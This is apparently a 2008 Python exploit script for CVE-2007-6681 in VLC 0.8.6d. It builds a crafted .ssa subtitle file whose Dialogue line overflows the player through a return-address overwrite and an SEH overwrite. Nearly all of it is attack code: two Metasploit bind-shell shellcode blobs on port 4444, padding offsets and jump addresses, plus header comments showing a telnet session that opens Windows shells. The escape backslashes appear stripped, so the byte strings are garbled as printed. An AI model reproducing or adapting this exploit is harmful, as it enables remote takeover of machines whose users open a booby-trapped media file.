#!/usr/bin/python
#
# VLC 0.8.6d Double Sh311 Universal Exploit
# CVE-2007-6681
# Vulnerability Discovered by Michal Luczaj
#
# Coded by Muris Kurgas aka j0rgan http://www.jorgan.users.cg.yu/
# and
# Matteo Memelli aka ryujin http://www.be4mind.com - http://www.gray-world.net
# WE CODED IT JUST FOR FUN ;)
# Cheers to #offsec and all our firends :) and prelate_ hehe
#-----------------------------------------------------------------------------
#
# FIRST SHELL -> NORMAL RET OVERWRITE -> WE OWN EIP
#
# matte@badrobot:~$ telnet 192.168.1.245 4444
# Trying 192.168.1.245...
# Connected to 192.168.1.245.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:Program FilesVideoLANVLC>exit
# exit
#
# AT "EXIT" SEH is CALLED and WE OWN EIP AGAIN :P
# SECOND SHELL -> SEH OVERFLOW
#
# Connection closed by foreign host.
# matte@badrobot:~$ telnet 192.168.1.245 4444
# Trying 192.168.1.245...
# Connected to 192.168.1.245.
# Escape character is '^]'.
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:Program FilesVideoLANVLC>
#-----------------------------------------------------------------------------

# win32_bind -  EXITFUNC=seh LPORT=4444
# Size=709 Encoder=PexAlphaNum http://metasploit.com
SHELLCODE1 = (
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e"
"x4dx34x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x46x4bx48"
"x4ex36x46x52x46x32x4bx38x45x54x4ex43x4bx48x4ex37"
"x45x50x4ax37x41x50x4fx4ex4bx38x4fx44x4ax51x4bx38"
"x4fx45x42x52x41x30x4bx4ex49x54x4bx48x46x43x4bx48"
"x41x30x50x4ex41x43x42x4cx49x49x4ex4ax46x48x42x4c"
"x46x57x47x50x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x52x4ax32x45x57x45x4ex4bx48"
"x4fx35x46x42x41x30x4bx4ex48x36x4bx58x4ex50x4bx44"
"x4bx48x4fx45x4ex51x41x50x4bx4ex43x50x4ex52x4bx48"
"x49x38x4ex36x46x42x4ex51x41x46x43x4cx41x33x4bx4d"
"x46x56x4bx58x43x54x42x33x4bx48x42x34x4ex50x4bx38"
"x42x57x4ex31x4dx4ax4bx38x42x34x4ax50x50x35x4ax36"
"x50x48x50x54x50x50x4ex4ex42x55x4fx4fx48x4dx48x56"
"x43x35x48x56x4ax56x43x53x44x53x4ax36x47x37x43x57"
"x44x33x4fx55x46x35x4fx4fx42x4dx4ax56x4bx4cx4dx4e"
"x4ex4fx4bx53x42x35x4fx4fx48x4dx4fx45x49x48x45x4e"
"x48x46x41x58x4dx4ex4ax50x44x30x45x55x4cx46x44x50"
"x4fx4fx42x4dx4ax56x49x4dx49x30x45x4fx4dx4ax47x55"
"x4fx4fx48x4dx43x45x43x45x43x55x43x55x43x45x43x34"
"x43x55x43x34x43x55x4fx4fx42x4dx48x46x4ax56x41x51"
"x4ex55x48x46x43x45x49x58x41x4ex45x49x4ax56x46x4a"
"x4cx51x42x47x47x4cx47x35x4fx4fx48x4dx4cx56x42x31"
"x41x45x45x45x4fx4fx42x4dx4ax46x46x4ax4dx4ax50x52"
"x49x4ex47x35x4fx4fx48x4dx43x35x45x35x4fx4fx42x4d"
"x4ax36x45x4ex49x34x48x38x49x54x47x45x4fx4fx48x4d"
"x42x45x46x55x46x35x45x55x4fx4fx42x4dx43x59x4ax46"
"x47x4ex49x57x48x4cx49x47x47x35x4fx4fx48x4dx45x45"
"x4fx4fx42x4dx48x56x4cx46x46x56x48x46x4ax36x43x36"
"x4dx56x49x38x45x4ex4cx56x42x55x49x55x49x42x4ex4c"
"x49x58x47x4ex4cx36x46x54x49x58x44x4ex41x43x42x4c"
"x43x4fx4cx4ax50x4fx44x54x4dx52x50x4fx44x54x4ex42"
"x43x49x4dx48x4cx47x4ax43x4bx4ax4bx4ax4bx4ax4ax46"
"x44x57x50x4fx43x4bx48x31x4fx4fx45x37x46x54x4fx4f"
"x48x4dx4bx55x47x55x44x45x41x55x41x55x41x35x4cx46"
"x41x30x41x35x41x55x45x55x41x35x4fx4fx42x4dx4ax46"
"x4dx4ax49x4dx45x30x50x4cx43x45x4fx4fx48x4dx4cx36"
"x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx58x47x35x4ex4f"
"x43x48x46x4cx46x56x4fx4fx48x4dx44x35x4fx4fx42x4d"
"x4ax36x42x4fx4cx38x46x50x4fx35x43x55x4fx4fx48x4d"
"x4fx4fx42x4dx5a"
)

# win32_bind -  EXITFUNC=thread LPORT=4444
# [*] x86/alpha_mixed succeeded, final size 698
SHELLCODE2 = (
"x89xe7xd9xcbxd9x77xf4x58x50x59x49x49x49x49x49"
"x49x49x49x49x49x43x43x43x43x43x43x37x51x5ax6a"
"x41x58x50x30x41x30x41x6bx41x41x51x32x41x42x32"
"x42x42x30x42x42x41x42x58x50x38x41x42x75x4ax49"
"x4bx4cx42x4ax4ax4bx50x4dx4ax48x4ax59x4bx4fx4b"
"x4fx4bx4fx45x30x4cx4bx42x4cx46x44x51x34x4cx4b"
"x51x55x47x4cx4cx4bx43x4cx45x55x42x58x43x31x4a"
"x4fx4cx4bx50x4fx42x38x4cx4bx51x4fx51x30x43x31"
"x4ax4bx50x49x4cx4bx50x34x4cx4bx43x31x4ax4ex50"
"x31x49x50x4dx49x4ex4cx4cx44x49x50x42x54x43x37"
"x49x51x49x5ax44x4dx45x51x49x52x4ax4bx4bx44x47"
"x4bx51x44x47x54x47x58x42x55x4bx55x4cx4bx51x4f"
"x47x54x43x31x4ax4bx45x36x4cx4bx44x4cx50x4bx4c"
"x4bx51x4fx45x4cx43x31x4ax4bx43x33x46x4cx4cx4b"
"x4dx59x42x4cx47x54x45x4cx45x31x48x43x50x31x49"
"x4bx45x34x4cx4bx50x43x50x30x4cx4bx47x30x44x4c"
"x4cx4bx44x30x45x4cx4ex4dx4cx4bx47x30x43x38x51"
"x4ex43x58x4cx4ex50x4ex44x4ex4ax4cx50x50x4bx4f"
"x4ex36x45x36x50x53x45x36x42x48x46x53x50x32x42"
"x48x42x57x42x53x46x52x51x4fx51x44x4bx4fx4ex30"
"x42x48x48x4bx4ax4dx4bx4cx47x4bx46x30x4bx4fx4e"
"x36x51x4fx4bx39x4bx55x42x46x4bx31x4ax4dx43x38"
"x45x52x46x35x43x5ax43x32x4bx4fx4ex30x45x38x4e"
"x39x44x49x4cx35x4ex4dx50x57x4bx4fx48x56x50x53"
"x51x43x46x33x46x33x51x43x47x33x51x43x47x33x51"
"x43x4bx4fx4ex30x43x56x43x58x44x51x51x4cx45x36"
"x46x33x4dx59x4bx51x4ax35x42x48x4ex44x45x4ax42"
"x50x49x57x46x37x4bx4fx4ex36x43x5ax44x50x50x51"
"x50x55x4bx4fx48x50x42x48x49x34x4ex4dx46x4ex4b"
"x59x46x37x4bx4fx48x56x51x43x46x35x4bx4fx48x50"
"x45x38x4bx55x51x59x4dx56x47x39x51x47x4bx4fx48"
"x56x46x30x46x34x46x34x51x45x4bx4fx4ex30x4ax33"
"x45x38x4dx37x43x49x48x46x43x49x51x47x4bx4fx4e"
"x36x51x45x4bx4fx48x50x43x56x43x5ax43x54x43x56"
"x43x58x42x43x42x4dx4bx39x4bx55x42x4ax50x50x46"
"x39x46x49x48x4cx4bx39x4dx37x42x4ax47x34x4dx59"
"x4bx52x50x31x49x50x4cx33x4ex4ax4bx4ex51x52x46"
"x4dx4bx4ex47x32x46x4cx4ax33x4cx4dx43x4ax47x48"
"x4ex4bx4ex4bx4ex4bx45x38x43x42x4bx4ex4ex53x44"
"x56x4bx4fx44x35x47x34x4bx4fx49x46x51x4bx50x57"
"x46x32x50x51x46x31x50x51x43x5ax45x51x46x31x46"
"x31x46x35x46x31x4bx4fx48x50x45x38x4ex4dx48x59"
"x44x45x48x4ex51x43x4bx4fx49x46x43x5ax4bx4fx4b"
"x4fx50x37x4bx4fx4ex30x4cx4bx51x47x4bx4cx4bx33"
"x48x44x42x44x4bx4fx49x46x50x52x4bx4fx4ex30x42"
"x48x4ax4fx48x4ex4dx30x45x30x46x33x4bx4fx49x46"
"x4bx4fx4ex30x44x4ax41x41" )

OFFSET1 = 'A'*152242
NOP1    = 'x90'*16
OFFSET2 = 'B'*10901
JMPESP  = 'x59x65xFEx62'     # 0x62FE6559     jmp ESP libvlc.dll
OFFSET3 = 'C'*674
SEH     = 'x66x14x40'         # POP POP RET   in vlc.exe
JMPBACK = 'xE9x2ExCDxFFxFF' # ^E9 2ECDFFFF  JMP 0250CCD2
JMPS    = 'xEBxF9x90x90'
EVIL    = OFFSET1 + NOP1 + SHELLCODE1 + OFFSET2 + JMPESP + SHELLCODE1 + OFFSET3 + JMPBACK + JMPS + SEH

fileHandle = open('film1.ssa', 'w' )
fileHandle.write('[Script Info]n')
fileHandle.write('ScriptType: v4.00n')
fileHandle.write('Title: VLC 0.8.6d buffer-overflown')
fileHandle.write('Collisions: Normalnn')
fileHandle.write('[V4 Styles]nn')
fileHandle.write('[Events]n')
fileHandle.write('Dialogue: '+ EVIL)
fileHandle.close()

# www.Syue.com [2008-05-23]